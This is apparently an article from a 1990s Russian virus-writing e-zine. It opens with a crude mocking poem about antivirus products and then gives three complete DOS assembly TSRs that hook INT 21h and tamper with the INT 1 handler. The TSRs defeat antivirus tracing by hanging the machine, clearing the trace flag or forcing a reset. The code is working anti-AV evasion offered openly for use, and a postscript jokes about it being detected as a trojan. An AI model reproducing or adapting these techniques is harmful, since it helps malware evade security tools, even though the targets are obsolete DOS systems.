─[]───────────────────────────────────────────────────────────────────────[2B]─

                                 О' int 1.


                           Старый, старый, int 1.
                         Мы под ним, кажись, сидим.
                            Аверам и не вдомек,
                           что его уж вышел срок.

                         Посмотри на Дохтор Вэб...
      Урони слезу скупую, доставая из штанин, уж совсем не паспортину.
                Поимей его как клячу - эт не трудная задача.
                 Он имеется во всем, не спасет его condon.

     Хочешь в пуш-ф(pushf), хочешь в попу(popf) - не видать ему Европы.
                Hо Данил/off даже рад, что его имеют в зад.
               Он окошки все малюет, цифру 32 на них рисует.
                                 %удожник.

                 AVP всех удалей и быть может всех резвей.
                  Он команды аки знает и чего-то замечает.
                 И на пуш-ф и на попе у него затычка есть.
                        Всех затычек и не счесть...

             И ss он даже знает, и префиксы сегментов уважает,
                 Hо зачем все эти муки, эти сложные науки?
                         Десяток строк и все облом,
                         см. про спасенье и condon.

               Hадоело, закругляюсь, см. ниже простой пример.
                Просто, дешево, сердито, антитрасинг int 1.
                Применимо для защиты от бездарных трасишей.

                           * * *  The End  * * *

────[ANTI_45.ASM]────[START]───────────────────────────────────────────────────
.model tiny	;trace - MustDie	(c)2b
.code
.386
org 100h
start:
	mov	ax,3521h		; int 13 or 21
	int	21h
	mov	word ptr ijmp+2,es
	mov	word ptr ijmp,bx
	lea	dx,int4trace
	mov	ah,25h
	int	21h
	lea	dx,lastbyte
	int	27h

int4trace:
	push	ds
	push	si
	xor	si,si                   ; si = 0
        mov     ds,si                   ; ds = 0
        lds     si,[si+4]               ; ds:si - seg:ofs int1
        push    word ptr [si]           ; save 1st word
        mov     [si],word ptr 0FEEBh    ; replace 1st word with  jmp $  or hlt
        pop     word ptr [si]           ; restore 1st word
	pop	si
	pop	ds
	db	0eah
ijmp:	dw	?,?
lastbyte:
end start
────[ANTI_45.ASM]────[END]─────────────────────────────────────────────────────

────[ANTI_50.ASM]────[START]───────────────────────────────────────────────────
.model tiny	;trace - MustDie	(c)2b
.code
.386
org 100h
start:
	mov	ax,3521h		; int 13 or 21
	int	21h
	mov	word ptr ijmp+2,es
	mov	word ptr ijmp,bx
	lea	dx,int4trace
	mov	ah,25h
	int	21h
	lea	dx,lastbyte
	int	27h

int4trace:
	push	ds
	push	si
	xor	si,si                   ; si = 0
        mov     ds,si                   ; ds = 0
        lds     si,[si+4]               ; ds:si - seg:ofs int1
        push    dword ptr [si]		; save 1st dword
        mov     [si],dword ptr 2cah	; replace 1st dword with
        				; retf 2  -  trace flag off
        pop     dword ptr [si]          ; restore 1st dword
	pop	si
	pop	ds
	db	0eah
ijmp:	dw	?,?
lastbyte:
end start
────[ANTI_50.ASM]────[END]─────────────────────────────────────────────────────

────[ANTI_55.ASM]────[START]───────────────────────────────────────────────────
.model tiny	;trace - MustDie	(c)2b
.code
.386
org 100h
start:
	mov	ax,3521h		; int 13 or 21
	int	21h
	mov	word ptr ijmp+2,es
	mov	word ptr ijmp,bx
	lea	dx,int4trace
	mov	ah,25h
	int	21h
	lea	dx,lastbyte
	int	27h

NewInt1:
;-----------------------------
	jmp	$			; висим
;---------- or ---------------
;	mov	eax,0f000fff0h		; а почему не просто jmp f000:fff0 ?
;	iret				; а потому, что так прикольней,
					; он сам виноват...  ;)
;---------- or ---------------
;	retf	2			; trace flag off
;-----------------------------
int4trace:
	push	eax			; or simple push ax ?
	push	ds
	xor	ax,ax
	mov	ds,ax			; ds = 0
	push	cs
	lea	ax,NewInt1
	push	ax
	pop	eax			; eax = NewInt1
	xchg	eax,ds:[4]		; set new int1 (NewInt1)
					; <- if trace then executing (NewInt1)
	xchg	eax,ds:[4]		; restore old int1
	pop	ds
	pop	eax			; or simple pop ax ?
	db	0eah
ijmp:	dw	?,?
lastbyte:
end start
────[ANTI_55.ASM]────[END]─────────────────────────────────────────────────────


PS:
Зная мнительность и повышенное  САМО_со_МHЕHИЕ  [ТИМА авп], будем ожидать
появления в базе авп новых троянов под названием: Trojan.AntiAVP 45,50,55
или поскромнее Trojan.Antitrace  45,50,55


2 FRiZER:
Хорошая твоя идейка и статья была в MooN_BuG, Issue 7, Sep 1998, file 005.
Я прямо плакал когда авп, на простой резидентик, сказал ANTIAVP aka Antitrace


2All:
Смешно?  Да нет, пожалуй, это уже верх маразма.

                                                                         (c) 2b